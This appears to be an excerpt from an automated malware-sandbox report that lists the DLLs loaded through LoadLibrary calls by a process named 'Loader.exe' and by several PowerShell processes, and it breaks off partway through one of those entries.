%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\3c82a5286b5172d5a68c8df2e09c4c40\System.Drawing.ni.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\bee998043eb1e9badecd282a79540a5e\System.Windows.Forms.ni.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P1706cafe#\17182784b4d739db89359f759c9b7680\Microsoft.PowerShell.Commands (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.We0722664#\5b6dc6ced38a636165cb1ed15c9505e5\Microsoft.WSMan.Management.ni (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00006460) "Loader.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll (UID: 00000000-00006460) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\199f66bc1a6fe937deb9e320cbcaacd7\Microsoft.Management.Infrastr (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00008316) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter 